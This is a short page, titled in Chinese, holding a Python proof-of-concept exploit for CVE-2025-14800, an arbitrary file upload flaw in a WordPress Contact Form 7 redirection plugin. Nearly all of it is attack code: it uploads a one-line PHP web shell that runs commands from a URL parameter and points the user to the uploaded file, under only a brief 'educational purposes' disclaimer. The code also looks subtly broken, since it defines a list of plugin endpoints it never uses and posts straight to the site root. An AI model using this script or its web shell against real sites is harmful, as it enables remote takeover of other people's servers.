CVE-2025-14800 WordPress Contact Form 7重定向插件任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-14800 PoC - WordPress Redirection for Contact Form 7 Arbitrary File Upload Note: This PoC is for educational and security research purposes only. """ import requests import sys def exploit_cve_2025_14800(target_url, file_to_upload='shell.php'): """ Exploit for arbitrary file upload vulnerability in Redirection for Contact Form 7 Args: target_url: Target WordPress site URL file_to_upload: Name of the file to upload """ # Malicious PHP file content (WebShell) php_payload = '<?php system($_GET["cmd"]); ?>' # Target endpoint - common paths for the plugin endpoints = [ '/wp-json/contact-form-7/v1/contact-forms/', '/wp-admin/admin-ajax.php', '/wp-content/plugins/wpcf7-redirect/include/files/' ] print(f"[*] Target: {target_url}") print(f"[*] File to upload: {file_to_upload}") # Prepare multipart form data files = { 'file': (file_to_upload, php_payload, 'application/x-php') } try: # Attempt file upload response = requests.post( target_url, files=files, timeout=10 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") # Check if upload was successful if response.status_code == 200: print(f"[!] Potential successful upload detected") print(f"[!] Try accessing: {target_url}/wp-content/uploads/{file_to_upload}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_14800(target)